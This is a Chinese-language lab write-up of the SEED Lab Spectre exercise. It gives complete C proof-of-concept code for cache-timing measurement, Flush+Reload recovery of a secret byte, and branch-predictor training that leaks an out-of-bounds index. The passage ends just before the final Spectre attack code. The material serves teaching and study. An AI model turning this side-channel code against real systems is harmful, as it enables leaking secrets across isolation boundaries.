Spectre攻击实验
spectre攻击是涉及到处理器底层设计缺陷漏洞的一种攻击手段,本文尝试依据Seedlab实验手册对其进行复现。同时会从原理出发,更加深刻地学习相关攻击知识
任务一:通过Cache进行侧信道攻击
Cache是CPU中用于命令加速的硬件机制,也是侧信道攻击的跳板之一,我们尝试通过Cache进行Flush+Reload攻击,该技术也是我们后续Spectre的基础。
如图所示,这就是CPU缓存的机制,如果在Cache中命中数据,便会出现访存的时间差,我们便可以通过这点小小的时间差异,来进行秘密字符的推断

首先,我们来验证上述所说的时间差异的真实性,按照上图所示,我们的代码设计中将提前访问array[3*4096]与array[7*4096],作为cache hit的缓存行,具体代码如下
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h>
uint8_t array[10*4096];
int main() {
int junk = 0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i, idx;
// 存储每个索引的测量结果
int cycles[10];
// 1. 初始化数组
for(i = 0; i < 10; i++)
array[i*4096] = 1;
// 2. 清空所有缓存行
for(i = 0; i < 10; i++)
_mm_clflush(&array[i*4096]);
// 3. 写入两个特定的行(这两个行会重新被加载到缓存)
array[3*4096] = 100;
array[7*4096] = 200;
// 4. 生成随机访问顺序 (0~9 的随机排列)
int order[10] = {0,1,2,3,4,5,6,7,8,9};
srand(time(NULL));
for(i = 9; i > 0; i--) {
int j = rand() % (i+1);
int tmp = order[i];
order[i] = order[j];
order[j] = tmp;
}
// 5. 按照随机顺序测量,但将结果存入 cycles[] 数组
for(i = 0; i < 10; i++) {
idx = order[i];
addr = &array[idx*4096];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
cycles[idx] = (int)time2; // 按实际索引保存
}
// 6. 按顺序输出结果 (0~9)
for(i = 0; i < 10; i++) {
printf("Access time for array[%d*4096]: %d CPU cycles\n", i, cycles[i]);
}
return 0;
}
可以看到,我们的代码在测量读取时间部分使用了随机化的方式,这里是由于现代处理器通常会有预取机制,导致对应内存行附近的数据也被写入缓存中。此处为了绕过,故采取了随机读取方法,具体结果如下:可以看到,多次测量,3、7部分用时均是最小

既然我们发现了明显的稳定信号量,那我们是否可以尝试使用该信号量建立侧信道进行秘密窃取呢?答案是肯定的,本节我们将使用Flush+Reload技术进行攻击,其流程如下:
- FLUSH:将整个数组从缓存中清除,以确保数组没有被缓存。
- 调用受害者函数,该函数根据秘密值访问数组中的一个元素。这将导致对应数组元素被缓存。
- RELOAD:重新加载整个数组并测量重新加载每个元素所需的时间。如果某个特定元素的加载时间比较快,则很可能这个元素已经存在于缓存中。这个元素必定是受害者函数所访问的那个元素,因此我们就可以确定秘密值是什么。
由于一个字节有2^8=256种可能性,我们可以定义一个array[256*4096]大小的数组,其中256是字节推测,4096大于常见的缓存块大小,用于保证array[i*4096]与array[j*4096]不会被同时加载到缓存中去,因此设计代码如下
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h> // 用于随机数种子
uint8_t array[256*4096];
int temp;
unsigned char secret = 94;
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
void victim()
{
temp = array[secret*4096 + DELTA];
}
void flushSideChannel()
{
int i;
for (i = 0; i < 256; i++)
array[i*4096 + DELTA] = 1;
for (i = 0; i < 256; i++)
_mm_clflush(&array[i*4096 + DELTA]);
}
void reloadSideChannel()
{
int junk = 0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i, idx;
int times[256]; // 存储每个索引的访问时间
// 生成随机访问顺序
int order[256];
for (i = 0; i < 256; i++)
order[i] = i;
srand(time(NULL));
for (i = 255; i > 0; i--) {
int j = rand() % (i + 1);
int tmp = order[i];
order[i] = order[j];
order[j] = tmp;
}
// 按随机顺序测量,结果存入 times[]
for (i = 0; i < 256; i++) {
idx = order[i];
addr = &array[idx*4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr; // 触发内存访问
time2 = __rdtscp(&junk) - time1;
times[idx] = (int)time2;
// 测量后立即清除该缓存行,避免影响后续测量
_mm_clflush(addr);
}
// 最后按顺序输出命中结果(只输出第一个命中,或所有命中的)
for (i = 0; i < 256; i++) {
if (times[i] <= CACHE_HIT_THRESHOLD) {
printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
printf("The Secret = %d.\n", i);
// 如果只需要输出第一个命中,可以 break;
// break;
}
}
}
int main()
{
flushSideChannel();
victim(); // 将 secret 对应的行加载到缓存
reloadSideChannel();
return 0;
}
此处同理采取随机测量的方式绕过预取,但是注意,不一定每一次都能得到正确的结果,我们应该多尝试几次,本机验证结果如下,多次运行中得到secret的概率还是比较大的

任务二:乱序执行与分支预测
Spectre攻击主要依赖于如标题所说的CPU特性,我们可以观察以下代码:
data = 0;
if (x < size) {
data = data + 5;
}
正常逻辑下若X<size,则第三行的代码是绝对不会执行的。但我们深入到CPU的底层实现中便可以发现,为了加速指令运行,CPU会将原本顺序的指令打乱,按照最快的方式进行执行,计算结果。
比如,若X<size这一判断条件存在分支预测的惯性运行,CPU将会提前执行data+=5这一操作,即使后续可能因为条件未通过而回退控制流,但计算出来的结果已经被加载进了Cache中,存在微架构状态残留。这种残留正是我们进行攻击的关键。
此处我们编写一段代码来观察乱序执行所造成的影响,注意由于设备问题,我们可以适量的将CACHE_HIT_THRESHOLD条件放宽,避免出现无法得到结果的情况
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h> // 用于随机数种子
#define CACHE_HIT_THRESHOLD (180)
#define DELTA 1024
int size = 10;
uint8_t array[256*4096];
uint8_t temp = 0;
void flushSideChannel()
{
int i;
// 写入数组,触发写时复制,确保物理内存已分配
for (i = 0; i < 256; i++)
array[i*4096 + DELTA] = 1;
// 清空所有探测数组的缓存行
for (i = 0; i < 256; i++)
_mm_clflush(&array[i*4096 + DELTA]);
}
void reloadSideChannel()
{
int junk = 0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i, idx;
int times[256]; // 存储每个索引的测量时间
// 生成随机访问顺序 0~255 的随机排列
int order[256];
for (i = 0; i < 256; i++)
order[i] = i;
srand(time(NULL));
for (i = 255; i > 0; i--) {
int j = rand() % (i + 1);
int tmp = order[i];
order[i] = order[j];
order[j] = tmp;
}
// 按随机顺序测量,结果存入 times[]
for (i = 0; i < 256; i++) {
idx = order[i];
addr = &array[idx*4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr; // 触发内存访问
time2 = __rdtscp(&junk) - time1;
times[idx] = (int)time2;
// 关键:测量后立即清除该缓存行,避免残留影响后续测量
_mm_clflush(addr);
}
// 最后按索引顺序输出所有命中结果
for (i = 0; i < 256; i++) {
if (times[i] <= CACHE_HIT_THRESHOLD) {
printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
printf("The Secret = %d.\n", i);
// 对于 Spectre 攻击,通常只会有一个命中,即越界读取的秘密索引
// 如果希望只输出第一个命中,可以加 break;
// break;
}
}
}
void victim(size_t x)
{
if (x < size) {
temp = array[x * 4096 + DELTA];
}
}
int main()
{
int i;
// 1. 清理并准备探测数组
flushSideChannel();
// 2. 训练分支预测器:连续调用 victim(0..9),每次都满足 x < size
// CPU 会学习到“真分支”总是被执行
for (i = 0; i < 10; i++) {
victim(i);
}
// 3. 清空 size 变量的缓存行,同时清空探测数组
// 这样 victim(97) 在读取 size 时会发生缓存未命中,需要从内存读取,
// 但 CPU 的乱序执行会基于训练好的分支预测继续执行推测性的真分支
_mm_clflush(&size);
for (i = 0; i < 256; i++)
_mm_clflush(&array[i*4096 + DELTA]);
// 4. 发起攻击:访问越界的索引 97(>= size)
// 推测执行会尝试读取 array[97*4096+DELTA] 并将其加载到缓存
victim(97);
// 5. 测量缓存状态,找出被加载到缓存的索引(应该是 97)
reloadSideChannel();
return 0;
}
_mm_clflush(&size); 注意这一步操作,由于我们将其逐出缓存行,因此在 if(x<xize)的条件判断中,size值必须要到主存中去,时钟周期过长,处理器将采取分支预测的方式先行执行赋值语句,从而才能留下微架构状态残留
结果如下,可以看到,在多次运行中,成功获取了secret

任务三:Spectre攻击
我们可以利用上述残留作为信号量来源,并利用上文提到的Flush+Reload侧信道技术,尝试进行真正的Spectre攻击——利用推测执行的微架构残留进行侧信道的构建

上图是我们程序的配置图,采用沙箱函数的方式,限制了用户的读取范围,Secret区域严禁用户访问,示例代码如下
uint8_t restrictedAccess(size_t x)
{
if (x <= bound_upper && x >= bound_lower) {
return buffer[x];
} else {
return 0;
}
}
尽管我们的secret区域无法被直接访问,但是通过分支预测的方式,总会在缓存中留下微架构状态残留,我们将通过这些来进行攻击
设计攻击代码如下